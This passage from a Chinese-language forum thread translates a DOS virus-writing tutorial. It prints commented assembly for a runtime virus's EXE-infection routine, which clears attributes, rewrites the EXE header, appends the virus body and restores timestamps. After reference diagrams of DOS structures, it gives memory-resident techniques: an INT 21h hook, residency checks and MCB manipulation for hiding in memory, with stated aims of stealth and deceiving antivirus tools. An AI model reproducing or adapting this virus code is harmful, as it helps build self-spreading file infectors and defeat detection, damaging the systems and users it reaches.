  lea  dx, [bp+newDTA+30] 
  mov  ax, 4300h 
  int  0021h 
  jc  return 
  push  cx 
  push  dx 

  mov  ax, 4301h    ; clear file attributes 
  push  ax      ; save for later use 
  xor  cx, cx 
  int  0021h 

;--------------------------------------------------------------------------- 

;  解释: 
;  这段代码看起来还感染COM文件的那段差不多。因为这段是寻找EXE文件, 
;    清除文件属性和其它的 
;--------------------------------------------------------------------------- 


  mov  ax, 3D02h 
  lea  dx, [bp+newDTA+30] 
  int  0021h 
  xchg  ax, bx 

  mov  ax, 5700h    ; get file time/date 
  int  0021h 
  push  cx 
  push  dx 

  mov  ah, 003Fh 
  mov  cx, 001Ah 
  lea  dx, [bp+offset readbuffer] 
  int  0021h 

  mov  ax, 4202h 
  xor  cx, cx 
  cwd 
  int  0021h 

;--------------------------------------------------------------------------- 

;  解释: 
;  嗨,上面的所有代码已经在介绍COM文件感染时见过了。但是从这儿开始到最后, 
;  还有有关于EXE文件感染的更酷的东西呢  
;--------------------------------------------------------------------------- 


  cmp  word ptr [bp+offset readbuffer], 'ZM' 
  jnz  jmp_close 

checkEXE: 
  cmp  word ptr [bp+offset readbuffer+10h], id 
  jnz  skipp 
jmp_close: 
  jmp  close 

;--------------------------------------------------------------------------- 

;  解释: 
;  第一部分比较打开文件的前几个字节来寻找EXE文件的签名(MZ)。G的作者好象 
;  忘记了加上比较ZM。第二部分检查是否已被感染。这个病毒是一个比较老的 
;   运行期病毒,它的基本方法是标记已经感染的EXE文件(把EXE文件头的两个字节 
;   压栈作为SP)。 
;--------------------------------------------------------------------------- 


skipp: 

  lea  si, [bp+readbuffer+14h] 
  lea  di, [bp+origCSIP] 
  movsw        ; Save original CS and IP 
  movsw 

  sub  si, 000Ah 
  movsw        ; Save original SS and SP 
  movsw 

;--------------------------------------------------------------------------- 

;  解释: 
;  在这里为了理解这段代码,你必须记起来MOVSW会做什么(刚在上面介绍的)。OK? 
;    这里恢复打开EXE文件的CS:IP和SS:SP的值。 
;--------------------------------------------------------------------------- 


  push  bx      ; save file handle 
  mov  bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs 
  mov  cl, 0004h 
  shl  bx, cl 

  push  dx      ; Save file size on the 
  push  ax      ; stack 

  sub  ax, bx      ; File size - Header size 
  sbb  dx, 0000h    ; DX:AX - BX -> DX:AX 

  mov  cx, 0010h 
  div  cx      ; DX:AX/CX = AX Remainder DX 

  mov  word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment 
  mov  word ptr [bp+readbuffer+14h], dx ; IP Offset 
  mov  word ptr [bp+readbuffer+10h], id ; Initial SP 
  mov  word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. 

;--------------------------------------------------------------------------- 

;  解释: 
;  这段代码看起来很难理解。但实际上不是。第一部分在readbuffer+8处读取数值 
;    (段中的文件头大小)。然后把它转化为字节。第二部分把文件大小压栈。第三部分 

;    把文件大小减去文件头大小。第四部分把上面结果除以10存在AX中,把余数存在 

;    DX中。然后给SS,IP,SP和CS赋新值。 
;--------------------------------------------------------------------------- 


  pop  ax      ; File length in DX:AX 
  pop  dx 

  add  ax, heap-start 
  adc  dx, 0000h 

  mov  cl, 0009h 
  push  ax 
  shr  ax, cl 
  ror  dx, cl 
  stc 
  adc  dx, ax 
  pop  ax 
  and  ah, 0001h 

  mov  word ptr [bp+readbuffer+2], ax ; Fix-up the file size in 
  mov  word ptr [bp+readbuffer+4], dx ; the EXE header 
;--------------------------------------------------------------------------- 

;  解释: 
;  Yeeeha!一些很酷的数学运算!首先我们要做的是恢复文件大小。然后,我们 
;    加上病毒的大小。这一大段代码的许多运算是计算感染后的文件头中的文件大小 

;    并化成512进制的形式。假设我们有一个513字节的文件,那么这里我们将得到 
;    2,余数1。最后的指令把计算得到的结果写到文件头中。 
;--------------------------------------------------------------------------- 


  pop  bx      ; restore file handle 

  mov  cx, heap-start 
  lea  dx, [bp+offset start] 
  mov  ah, 0040h    ; concatenate virus 
  int  0021h 

  xor  dx, dx 
  mov  ax, 4200h 
  xor  cx, cx 
  int  0021h 


  lea  dx, [bp+offset readbuffer] 
  mov  cx, 001Ah 
  mov  ah, 0040h 
  int  0021h 

  inc  [bp+numinfect] 

;--------------------------------------------------------------------------- 

;  解释: 
;  这一段我们添加病毒主体,然后把文件指针移到文件头。现在我们写上新的文件头 

;    ,并把计数器加1。 
;--------------------------------------------------------------------------- 


close: 
  mov  ax, 5701h    ; restore file time/date 
  pop  dx 
  pop  cx 
  int  0021h 

  mov  ah, 003Eh 
  int  0021h 

  pop  ax      ; restore file attributes 
  pop  dx      ; get filename and 
  pop  cx      ; attributes from stack 
  int  0021h 

  mov  ah, 004Fh    ; find next 
  jmp  findfirstnext 

;--------------------------------------------------------------------------- 

;  解释: 
;  上面的代码我们已经看过了。没有?看看COM文件感染部分。 
;--------------------------------------------------------------------------- 


signature  db  "[PS/G齗",0     ; Phalcon/Skism G? 
EXEmask   db  "*.EXE",0 
dot_dot   db  "..",0 

heap: 
newDTA    db  43 dup (?) 
origdir   db  65 dup (?) 
numinfect  db  ? 
readbuffer  db  1ah dup (?) 
endheap: 
  end  start 

;---------到这里为止剪切----------------------------------------------------- 


      是不是讲了太多啦?Ok,我知道我必须说一件事。当你理解了感染COM和EXE文件的
概念之后,你的知识将以光的速度增长那些运行期病毒是过时的病毒没关系,重要的是概
念。(译者注:这也是我翻译此教程的目的.) 当你对所有这些都看懂之后,那你可以随心
所欲地编写病毒了。 
      我们要停一会儿时间了。下面介绍几个更有用的理论知识。 
 
返回顶端      
 
 
onlyu
侠客



年龄:24 
十二宫图:
加入时间: 2003/11/20
文章: 23

Points: 30

 时间: 2004-2-10 周二, 下午6:28    标题: go on............   

------------------------------------------------------------------------------
--
 
【有用的结构体】 
~~~~~~~~~~~~~~ 
      现在介绍我们已经讨论了很多的PSP。 

%PSP(Program Segment Prefix)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
PSP结构如下: 
 ___________________________________ 
|           INT 20h(CD 20)          |<------+0000h 
|___________________________________|             Size:1 WORD 
|    Pointer to the next segment    |<------+0002h 
|___________________________________|             Size:1 WORD 
|             Reserved              |<------+0004h 
|___________________________________|             Size:1 BYTE 
|        Far call to INT 21h        |<------+0005h 
|___________________________________|             Size:5 BYTES 
|       Saved INT 22h vector        |<------+000Ah  
|___________________________________|             Size:1 DWORD 
|       Saved INT 23h vector        |<------+000Eh 
|___________________________________|             Size:1 DWORD 
|       Saved INT 24h vector        |<------+0012h  
|___________________________________|             Size:1 DWORD 
|             Reserved              |<------+0016h  
|___________________________________|             Size:22 BYTES 
|   Offset to Environment Segment   |<------+002Ch 
|___________________________________|             Size:1 WORD 
|             Reserved              |<------+002Eh 
|___________________________________|             Size:46 BYTES 
|         First default FCB         |<------+005Ch 
|___________________________________|             Size:16 BYTES 
|        Second default FCB         |<------+006Ch 
|___________________________________|             Size:16 BYTES 
|    Command Tail and default DTA   |<------+0080h 
|___________________________________|             Size:180 BYTES 
                                     Total Size:256 BYTES 

     因为这个结构非常重要,让我一步一步地解释吧。 
       offset 0000h: 
     INT 20h是终止程序的过时的方法,现在我们使用INT 21h的4CH号函数。 
       offset 0002h: 
     这是pointer to the next segment,这个指针指向我们程序的下一段。我们利用它
可以知道DOS 能给我们多少内存(它指向的偏移地址减去PSP的偏移地址0000)。它将以段返
回给我们内存,所以我们必须把它乘以16来得到字节数。 
       offset 0005h:  
     这是调用INT 21h的一种奇特方式。而且,当然,我们可以利用它来达到我们的目的
。这个函数用到CL而不是AH,而且我们只能在低于24h时调用这个函数。我将在TUNNELING
这一章里介绍更多。 
       offset 000Ah: 
     这里存储的是原先的INT 22h中断向量。INT 22h当程序使用如下方法终止执行时接受
控制: 
- INT 20h 
- INT 27h 
- INT 21h(00h,21h,4Ch函数) 
      offset 000Eh:` 
     这里存储另一个中断的向量,INT 23h。这个中断处理CTRL+C按键组合。 
      offset 0012h: 
    存储在这里的另外一个中断,INT 24h。这个中断处理严重错误。这种类型错误的例子
:当你的软驱里面没有软盘,或者软盘被写保护了。 
      offset 002Ch: 
    这里是环境块偏移地址的开始。 
      offset 005Ch: 
    这里存储第一个缺省FCB(File Control Block文件控制块)。这种访问文件的方式通常
情况下不会被程序使用(在这里是为了和低版本的DOS兼容),但是病毒作者为了使病毒更隐
蔽,经常使用它。你可以在FCB结构里看到更多的信息。 
      offset 006Ch: 
    同上,这是第二个缺省FCB。 
      Offset 0080h: 
    这一段有两个功能: 
----存储命令尾(command tail) 
---存储DTA的缺省文件缓冲区 
    这两个功能不能同时使用,所以我们开始一个程序要考虑的第一件事就是命令尾(com
mand tail)。如果我们需要它,我建议你把它保存到一个安全的地方(我们代码中的一个变
量中)。命令尾的第一个字节(80h)约束了它的长度,而且这里,它保存了真正的参数。DT
A的结构将会在这一章中介绍。 

%FCB(File Control Block 文件控制模块)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    现在有两种类型的FCB:普通和扩展类型。下面给出普通FCB: 

 ________________________________  
|  Drive Letter(0=actual,1=A...) |<----+0000h 
|________________________________|           Size:1 BYTE 
|    Blank padded file name      |<----+0001h 
|________________________________|           Size:8 BYTES  
|   Blank padded file extension  |<----+0009h 
|________________________________|           Size:3 BYTES 
|      Current block number      |<----+000Ch 
|________________________________|           Size:1 WORD 
|      Logical record size       |<----+000Eh 
|________________________________|           Size:1 WORD 
|            File size           |<----+0010h 
|________________________________|           Size:1 DWORD 
|            File date           |<----+0014h 
|________________________________|           Size:1 WORD 
|            File time           |<----+0016h 
|________________________________|           Size:1 WORD 
|            Reserved            |<----+0018h  
|________________________________|           Size:8 BYTES 
|   Record within current block  |<----+0020h 
|________________________________|           Size:1 BYTE 
|   Record access record number  |<----+0021h 
|________________________________|           Size:1 DWORD 
                                  Total Size:37 BYTES 

    而在一个扩展FCB中,上面所有的偏移地址会向后移7个字节,而开始的7个字节如下:
 

 _____________________________________ 
|   FF(Signature for extended FCB)    |<---- -0007h 
|_____________________________________|            Size:1 BYTE 
|              Reserved               |<---- -0006h 
|_____________________________________|            Size:5 BYTES 
|          File attribute             |<---- -0001h 
|_____________________________________|            Size:1 BYTE 
                                       Total Size:44 BYTES 
    检测FCB是普通的还是扩展的方法是看FCB 的第一个字节是否为FFh。如果是,那么就
为扩展FCB,否则就为普通FCB。 
    有一种隐蔽病毒(STEALTH)方法就是改变FCB的某些值,我们将会在STEALTH一章里具体
讨论。 

%MCB(Memory Control Block  内存控制模块)%  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    我们将在驻留内存病毒这一章介绍它(下一章)。下面给出MCB: 

 ___________________________________ 
|     ID(Z=last,M=there're more)    |<----+0000h 
|___________________________________|           Size:1 BYTE 
|     Address of associated PSP     |<----+0001h 
|___________________________________|           Size:1 WORD 
|  Number of paras in allocated mem |<----+0003h 
|___________________________________|           Size:1 BYTE 
|               Unused              |<----+0005h 
|___________________________________|           Size:11 BYTES 
|             Block Name            |<----+0008h 
|___________________________________|           Size:8 BYTES 
|     Zone of allocated memory      |<----+0010h 
|___________________________________|           Size:?? PARAS 
                                     Total Size: VARIABLE 

%DTA(Disk Transfer Area 磁盘交换区)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

在病毒写作中这个结构非常重要。让我们看: 

 ___________________________________ 
|   Drive Letter(equal than above)  |<----+0000h 
|___________________________________|           Size: 1 BYTE  
|         Search Template           |<----+0001h 
|___________________________________|           Size: 11 BYTES 
|             Reserved              |<----+000Ch 
|___________________________________|           Size: 9 BYTES 
|          File attribute           |<----+0015h 
|___________________________________|           Size: 1 BYTE 
|             File time             |<----+0016h 
|___________________________________|           Size: 1 WORD 
|             File date             |<----+0018h 
|___________________________________|           Size: 1 WORD 
|             File size             |<----+001Ah 
|___________________________________|           Size: 1 DWORD 
|    ASCIIZ Filename+extention      |<----+001Eh 
|___________________________________|           Size: 13 BYTES 
                                     Total Size: 43 BYTES 

    原始DTA保存在PSP的偏移地址80h处。我们可以利用INT 21h的1Ah功能保存它。 

%IVT(Interrupt Vector Table中断向量表)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

    这个并不是“真正的”结构体。恩...让我解释一下吧...IVT是保存所有中断向量的地
方(哇,天才啊!)。所有的中断向量的位置为number_of_interrupt*4(中断号*4)。假如我
们想把INT 21h中断向量赋给DS:DX...则: 

xor ax,ax 
mov ds,ax 
lds dx,ds:[21h*4] 

      为什么我们清除DS?因为IVT是从地址0000:0000开始到高地址内存的。这种操作(不
通过使用DOS)是获得/赋给一个中断的向量的直接方法。有关更多的介绍将在驻留内存病毒
(RESIDENT VIRUSES)一章中介绍。嗨...我忘记了示意图了 

 __________________________________ 
|         INT 00h vector           |<-----+0000h 
|__________________________________|            Size:1 DWORD 
|         INT 01h vector           |<-----+0004h 
|__________________________________|            Size:1 DWORD 

//////////////////////////////////// 
|__________________________________ 
|         INT FEh vector           |<-----+03FCh 
|__________________________________|            Size:1 DWORD 
|         INT FFh vector           |<-----+0400h 
|__________________________________|            Size:1 DWROD 
                                    Total Size:1024 BYTES 

    你能想象得到“断”行表示有256个中断,我不得不优化这篇教程(我可不想花5页来表
示它!) 

%SFT(System File Table 系统文件表)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

    这个结构真得很酷。它能帮助你使你的代码更健壮,更优化。它类似于FCB,但是,正
如你看到的,它更强大。利用这个表,我们可以使病毒更隐蔽,改变文件指针的打开模式
,属性...这里你看到的使DOS 4以上版本的结构(我相信在这个世界上已经没有人用DOS 3
或更低了吧)。好了,如果你想为DOS 3编写代码,可以参考Ralph Brown的中断列表。但是
DOS 3的SFT是和下面的非常类似的。重要的值在相同的地方 

 ===================================== <----+0000h 
‖    Pointer to next file table     ‖           Size:1 DWORD 
‖===================================‖<----+0004h 
‖  Number of files in this table    ‖-----------Size:1 WORD---------- 
‖===================================‖<----+0000h  [3Bh bytes per file] 
 |  Number of file handles of file   |            Size:1 WORD 
 |___________________________________| 
 |      File open mode(AH=3Dh)       |<-----+0002h 
 |___________________________________|            Size:1 WORD 
 |          File attribute           |<-----+0004h 
 |___________________________________|            Size:1 BYTE 
 |    Device info block(AX=4400h)    |<-----+0005h 
 |___________________________________|            Size:1 WORD 
 | If char device points next dev h. |<-----+0007h 
 |       else point to DOS DPB       |            Size:1 DWORD 
 |___________________________________| 
 |     Starting cluster of file      |<-----+000Bh 
 |___________________________________|            Size:1 WORD 
 |             File time             |<-----+000Dh 
 |___________________________________|            Size:1 WORD 
 |             File date             |<-----+000Fh 
 |___________________________________|            Size:1 WORD 
 |             File size             |<-----+0011h 
 |___________________________________|            Size:1 DWORD 
 |      Current offset in file       |<-----+0015h 
 |___________________________________|            Size:1 DWORD 
 |  Relative cluster within file of  |<-----+0019h----------[If Local File] 

 |      last cluster accessed        |            Size:1 WORD 
 |___________________________________| 
 |  Number of sector with dir entry  |<-----+001Bh 
 |___________________________________|            Size:1 DWORD 
 | Number of dir entry within sector |<-----+001Fh 
 |___________________________________|            Size:1 BYTE 
 |    Pointer to REDIRIFS records    |<-----+0019h----[Network redirector] 
 |___________________________________|            Size:1 DWORD 
 |                ???                |<-----+001Dh 
 |___________________________________|--------Size:3 BYTES-------- 
 |      Filename in FCB format       |<-----+0020h 
 |___________________________________|            Size:11 BYTES 
 | Pointer to prev SFT sharing file* |<-----+002Bh 
 |___________________________________|            Size:1 DWORD 
 | Network machine num opened file*  |<-----+002Fh 
 |___________________________________|            Size:1 WORD 
 |     PSP segment of file owner     |<-----+0031h 
 |___________________________________|            Size:1 WORD 
 |  Offset to code segment of rec*   |<-----+0033h 
 |___________________________________|            Size:1 WORD 
 | Absolute clust num of last access |<-----+0035h 
 |___________________________________|            Size:1 WORD 
 |  Pointer to IFS driver for file   |<-----+0037h 
 |___________________________________|            Size:1 DWORD 
                                     Total Size:61 BYTES 

      Uhm...我忘记访问SFT的方法了...下面给出的程序把SFT赋给ES:DI,把文件句柄保
存到BX中。 

 GetSFT: 
  mov  ax,1220h 
  int  2Fh 
  jc  BadSFT 

  xor  bx,bx 
  mov  ax,1216h 
  mov  bl,byte ptr es:[di] 
  int  2Fh 
 BadSFT: 
  ret 

    我强烈地建议你把返回值保存到AX/BX中(BX非常重要:这里我们用来保存文件句柄)。
 
标志(*)的域将会被SHARE.EXE使用 

%DIB(DOS Info Block DOS信息模块)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    利用DIB,我们能够访问那些重要的不能利用其它方法访问结构。这个结构并不是固定
的在内存中的,我们必须利用INT 21h的52h功能。在DOS文档里没有这个函数的介绍。当我
们调用这个函数的时候,我们将会在ES:BX里得到DIB的地址。你将会得到: 

 ___________________________________ 
|       Pointer to first MCB        |<---- -0004h 
|___________________________________|            Size:1 DWORD 
|       Pointer to first DPB        |<-----+0000h 
|___________________________________|            Size:1 DWORD 
|    Pointer to DOS last buffer     |<-----+0004h 
|___________________________________|            Size:1 DWORD 
|        Pointer to $CLOCK          |<-----+0008h 
|___________________________________|            Size:1 DWORD 
|         Pointer to CON            |<-----+000Ch 
|___________________________________|            Size:1 DWORD 
|      Maximum sector length        |<-----+0010h 
|___________________________________|            Size:1 WORD 
|    Pointer to DOS first buffer    |<-----+0012h 
|___________________________________|            Size:1 DWORD 
| Pointer to array of cur dir struc |<-----+0016h 
|___________________________________|            Size:1 DWORD 
|          Pointer to SFT           |<-----+001Ah 
|___________________________________|            Size:1 DWORD 
                                     Total Size:34 BYTES 

%DPB(Drive Parameter Block 驱动器参数模块)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

    这个结构为我们提供了达到我们的目的的非常有用的信息。通过使用DIB(看上文)里的
第二个指针,我们能够知道它的位置。下面给出: 

 ___________________________________ 
|     Drive Letter(0=A,1=B...)      |<----+0000h 
|___________________________________|           Size:1 BYTE 
|  Unit number within device driver |<----+0001h 
|___________________________________|           Size:1 BYTE 
|         Bytes per sector          |<----+0002h 
|___________________________________|           Size:1 WORD 
| Highest sect num within a cluster |<----+0004h 
|___________________________________|           Size:1 BYTE 
| Shift count for clust to sectors  |<----+0005h 
|___________________________________|           Size:1 BYTE 
|    Number of reserved clusters    |<----+0006h 
|___________________________________|           Size:1 WORD 
|          Number of FATS           |<----+0008h 
|___________________________________|           Size:1 BYTE 
| Number of root directory entries  |<----+0009h 
|___________________________________|           Size:1 WORD 
| Number of first sector with data  |<----+000Bh 
|___________________________________|           Size:1 WORD 
|  Number of last sector with data  |<----+000Dh 
|___________________________________|           Size:1 WORD 
|     Number of sector per FAT      |<----+000Fh 
|___________________________________|           Size:1 BYTE 
| Sector number of first dir sector |<----+0010h 
|___________________________________|           Size:1 WORD 
|  Address of device driver header  |<----+0012h 
|___________________________________|           Size:1 DWORD 
|           Media ID byte           |<----+0016h 
|___________________________________|           Size:1 BYTE  
|   00h if disk accessed,else FFh   |<----+0017h 
|___________________________________|           Size:1 BYTE 
|        Pointer to next DPB        |<----+0018h 
|___________________________________|           Size:1 DWORD 
                                   Total Size:28 BYTES 

%分区表% 
~~~~~~~~ 
    所有编写启动病毒的人都知道这个结构,它是硬盘上的第一块。它总是在第一块的,
无论在软盘还是在硬盘上。如果是硬盘,我们就叫它MBR(Master Boot Record 主启动记录
),如果是软盘,就叫它启动扇区。 
    分区表是一个有着四个入口的数组,在偏移地址01BEh处。下面给出每个入口的格式:
 

 ___________________________________ 
|    Boot indicator(Bootable=80h,   |<----+0000h 
|        Non bootable 00h)          |          Size:1 BYTE 
|___________________________________| 
|  Head where the partition begins  |<----+0001h 
|___________________________________|          Size:1 BYTE 
| Sector where the partition begins |<----+0002h 
|___________________________________|          Size:1 BYTE 
|   Cylinder where the part.begins  |<----+0003h 
|___________________________________|          Size:1 BYTE 
|    System indicator*(What OS?)    |<----+0004h 
|___________________________________|          Size:1 BYTE 
|     Head where partition ends     |<----+0005h 
|___________________________________|          Size:1 BYTE 
|  Sector where the partition ends  |<----+0006h 
|___________________________________|          Size:1 BYTE 
| Cylinder where the partition ends |<----+0007h 
|___________________________________|          Size:1 BYTE 
|  Total blocks preceding partition |<----+0008h 
|___________________________________|          Size:1 DWORD 
|   Total blocks in the partition   |<----+000Ch 
|___________________________________|          Size:1 DWORD 
                                     Total Size:16 BYTES 
(*) 01=12-bit FAT 
    04=16-bit FAT 

%BPB(Bios Parameter Block Bios 参数模块)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
     在以DOS为基础的系统中,启动记录以一个跳转(jump)作为开始,后面跟这一个结构
体——BPB。 

 _________________________________ 
|   OEM name and version(ASCII)   |<----+0000h 
|_________________________________|           Size:8 BYTES 
|         Bytes per sector        |<----+0008h 
|_________________________________|           Size:1 WORD 
|       Sectors per cluster       |<----+000Dh 
|_________________________________|           Size:1 BYTE 
|  Reserved sector(starting at 0) |<----+000Eh 
|_________________________________|           Size:1 WORD 
|         Number of FATs          |<----+0010h 
|_________________________________|           Size:1 BYTE 
|    Total sectors in partition   |<----+0011h 
|_________________________________|           Size:1 WORD 
|         Media descriptor        |<----+0013h 
|_________________________________|           Size:1 WORD 
|         Sectors per FAT         |<----+0015h 
|_________________________________|           Size:1 BYTE 
|        Sectors per track        |<----+0017h 
|_________________________________|           Size:1 WORD 
|         Number of heads         |<----+0019h 
|_________________________________|           Size:1 WORD 
|    Number of hidden sectors     |<----+001Dh 
|_________________________________|           Size:1 WORD 
                                   Total Size:29 BYTES 

【更多的酷病毒:驻留内存病毒(RESIDENT viruses)】 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    如果你已经读到这里,而且你还活着,那你将会从这里走向光明 
    下面开始有趣的东西给你读,让我写了。 

%什么是驻留内存程序?% 
~~~~~~~~~~~~~~~~~~~~~~ 
    好了,首先我给你介绍的是相反的情况 
    当我们执行一个非驻留内存程序(如edit之类的普通程序)时,DOS会给它分配确定的内
存,但是这段内存在程序终止的时候将会被重新分配(利用INT 20h,或者INT 21h如著名的
4Ch)。 
    而一个驻留内存程序执行的时候和一般的程序一样,但是它在程序终止的时候将会留
一段程序在内存中,不会被重新分配。驻留内存程序(也叫TSR = Terminate and Stay Re
sident ) ,通常会代替某些中断,写上它自己的代码,来执行它们设计的任务。TSR程序有
什么用途呢?我们可以用来破解(偷取口令),编我们自己酷工具...当然所有这些取决于你
的想象力啦。当然,我也没忘记...编写驻留内存程序 

%一个TSR病毒将会做什么?% 
~~~~~~~~~~~~~~~~~~~~~~~~ 
    TSR并不是调用驻留在内存中的病毒的最好的方法。假如你正在执行某个程序,并且它
返回到DOS。不,我们不能终止它和保持驻留内存。使用者将会注意到有些不对劲。我们必
须返回和保持驻留内存 TSR仅仅是一个缩写(不要用错了,我必须加上这一点)。驻留内存
病毒能提供给我们一个新世界。我们可以编写出能感染更多程序的病毒,更安全...当检测
到有企图打开/读文件的操作我们可以给文件杀毒(想象一下,查杀毒工具将会什么也发现
不了),我们可以hook查杀毒工具所要使用的函数来欺骗它们,我们可以减去病毒的大小以
逃过外行的眼睛(当然也包括专家的啦)。 

;--------从这儿开始剪切---------------------------------------------------- 

; 这个程序将会检测它是不是已经在内存中了,如果已经在内存中了,它将会给我们提 

; 示信息。如果没有,它将会驻留到内存中,并显示另外一个信息。 

       .model  tiny 
       .code 
  org  100h 

start: 
  jmp  fuck 

newint21: 
  cmp  ax,0ACDCh    ; Are user caliing our function? 
  je  is_check    ; If yes, answer the call 
  jmp  dword ptr cs:[oldint21] ; Else jump to original int 21 

is_check: 
  mov  ax,0DEADh    ; We answer it 
  iret        ; And make an interrupt return  

oldint21  label dword 
int21_off dw  0000h 
int21_seg dw  0000h 

fuck: 
  mov  ax,0ACDCh    ; Residence check 
  int  21h      ; Invented function, of course  
  cmp  ax,0DEADh    ; Are we here? 
  je  stupid_yes    ; If yes, show message 2 

  mov  ax,3521h    ; If not, we go and install 
  int  21h      ; Function for get INT 21h vectors 
  mov  word ptr cs:[int21_off],bx ; We store offset at oldint21+0 
  mov  word ptr cs:[int21_seg],es ; We store segment at oldint21+2 

  mov  ax,2521h    ; Function for put new int 21 handler 
  mov  dx,offset newint21  ; where is it located 
  int  21h 

  mov  ax,0900h    ; Show message 1 
  mov  dx,offset msg_installed 
  int  21h 

  mov  dx,offset fuck+1  ; Make resident from offset 0 until 
  int  27h      ; offset in dx using int 27h 
          ; This will also terminate program 

stupid_yes: 
  mov  ax,0900h    ; Show message 2 
  mov  dx,offset msg_already 
  int  21h 
  int  20h      ; Terminate program. 

msg_installed db "Stupid Resident not installed. Installing...$" 
msg_already   db "Stupid Resident is alive and kicking your ass!$" 

end   start 

;-----到这儿为止剪切----------------------------------------------------- 

     这个小例子不能被用来编写一个病毒...为什么呢?INT 27h,当把一个程序放到内存
中后,就会终止当前的程序。把代码放到内存中,利用INT 20h或其它任何方法来终止当前
程序的执行也是一样。 
     那么...我们该利用什么来编写一个病毒呢? 

%TSR病毒算法% 

     我们可以按如下步骤(模仿在病毒编写中很好...): 

1.检查程序是否已经驻留内存(是,跳到5;否,继续) 
2.开辟我们所需要的内存 
3.复制病毒主体到内存中 
4.获得中断向量,保存它们并用我们的代替 
5.恢复目标文件 
6.返回控制权 

%驻留内存检测% 
~~~~~~~~~~~~~~ 
    当我们编写一个驻留内存程序时,我们必须至少检查一次看看我们的程序是否已被安
装了。通常,它是一个创造函数,当我们调用它,这个函数给我们返回一个确定的值(当然
是我们选择的了)或者如果它没有驻留内存,它使AL=00。 
    让我们看一个例子: 

  mov  ax,0B0B0h 
  int  21h 
  cmp  ax,0CACAh 
  je  already_installed 
  [...] 

    如果它已经驻留内存了,我们就恢复感染的文件,并把控制权返回给原来的程序。如
果没有驻留内存,我们就把它驻留内存。INT 21h 对病毒的处理将会如下: 

 int21handler: 
  cmp  ax,0B0B0h 
  je  install_check 
  [...] 

  db  0EAh 
 oldint21: 
  dw  0,0 

 install_check: 
  mov  ax,0CACAh 
  iret 

%分配内存修改MCB% 
~~~~~~~~~~~~~~~~~ 
    开辟内存用得最多的就是MCB(Memory Control Block)。有两个方法来达到这个目的:
使用DOS和直接实现。看到每种方法都这么痛苦,让我们看看什么是MCB。 
    内存控制模块(MCB)是由DOS建立的每个程序使用的控制块。这个模块的长度是一段(1
6字节),它总是在分配内存之前分配。啊!个数总能被16整除。如果是一个COM文件,我们
可以利用程序的代码段减1(CS-1)得到MCB的位置,如果是EXE文件,则利用DS(记住,在EX
E文件中,CS<>DS)。你可以在结构体一章查看MCB的结构(在上一章我们已经看过了)。 

    使用DOS修改MCB: 
    在我写的第一个病毒Antichrist Superstar中,我使用的方法简单而有效。首先,我
们请求DOS对所有的内存(BX=FFFFh)使用INT 21h的4Ah功能,这是一个很难达到的值。通过
这个功能,我们将会看到我们申请了太多的内存,所以,在BX中我们将会得到我们所能使
用的所有内存。所以我们把这个值减去病毒代码的长度的段数(((size+15)/16)+1)然后再
次调用4Ah功能。现在该是把自由内存减去我们想要的内存数的时候了。我们可以利用"su
b word ptr ds:[2],(size+15)/16+1",然后利用BX中的以段为基数的代码长度,调用DOS
的48h功能。这个将会把开辟的块的段返回到AX中,所以我们把它放到ES中,把AX减1,并
把新值赋给DS。现在我们在DS中得到了MCB,所以我们该操作它了。我们必须赋给DS:[0]字
节"Z"或者"M"(依赖于你的需要,参阅MCB结构),在DS:[1]里是字0008,为了告诉DOS这个
块是它自己的,然后它不会覆盖它。 

     Arf,Arf...在这么一大段理论之后,一些代码将是多么好啊。下面的代码将会按你的
需要配置MCB: 

  mov  ax,4A00h    ; Here we request for an impossible 
  mov  bx,0FFFFh    ; amount of free memory 
  int  21h 

  mov  ax,4A00h    ; And we substract the virus size in 
  sub  bx,(virus_size+15)/16+1 ; paras to the actual amount of mem 
  int  21h      ; ( in BX ) and request for space. 

  mov  ax,4800h    ; Now we make DOS substract 2 da free 
  sub  word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in 
  mov  bx,(virus_size+15)/16  ; paragraphs 
  int  21h 

  mov  es,ax      ; In AX we get the segment of our 
  dec  ax      ; memory block ( doesn't care if EXE 
  mov  ds,ax      ; or COM ), we put in ES, and in DS 
          ; ( substracted by 1 ) 
  mov  byte ptr ds:[0],"Z"     ; We mark it as last block 
  mov  word ptr ds:[1],08h  ; We say DOS the block is of its own 

     相当简单而有效...然而,这仅仅是操作内存,它不能把你的代码移到内存中去。这
非常简单,但是我们将会在后面看到。 
   
     直接修改MCB: 

    这种方法方式基本上差不多,但是达到我们不得的方法不同。使得这种方法更好的原
因是利用这种方法:一个TSR病毒查杀监视程序不会知道任何内存操作因为我们没有使用任
何中断 
    我们所做的第一件事是把DS赋给AX(因为我们利用段不能做任何事),我们把它减1,然
后再把它赋给DS。现在DS指向MCB。如果你还记得MCB的结构,在偏移地址3处,我们将会得
到当前内存的段数。所以我们需要把这个值减去我们打算使用的内存数。我们将要使用BX
(为什么不?)如果我们看一下过去的介绍,我们将会记起MCB在PSP的上面16字节处。所有
的PSP偏移地址要向后移16(10h)字节。我们需要改变TOM的值,在PSP的偏移地址2处,但是
现在我们不会指向PSP,我们要指向MCB。我们能做的是什么呢?我们使用偏移地址12h(2+
16=18=12h),而不使用偏移地址2。我们把它减去所需内存的节数(记住,病毒的大小+15除
以16)。这个偏移地址的新值是我们程序的新段,并且我们在一个新段中要使用它。我们打
算使用附加段(ES)。但是我们可以对ES和这个位置(也就是段操作的限制)进行mov操作。我
们必须要使用一个暂时的寄存器(temporal rigister)。AX最好不过了。现在我们标志ES:
[0] "Z"(在我们把DS作为段寄存器处理之前),ES:[1]  8。 
     介绍完这些总是烦人的理论之后,下面是代码: 

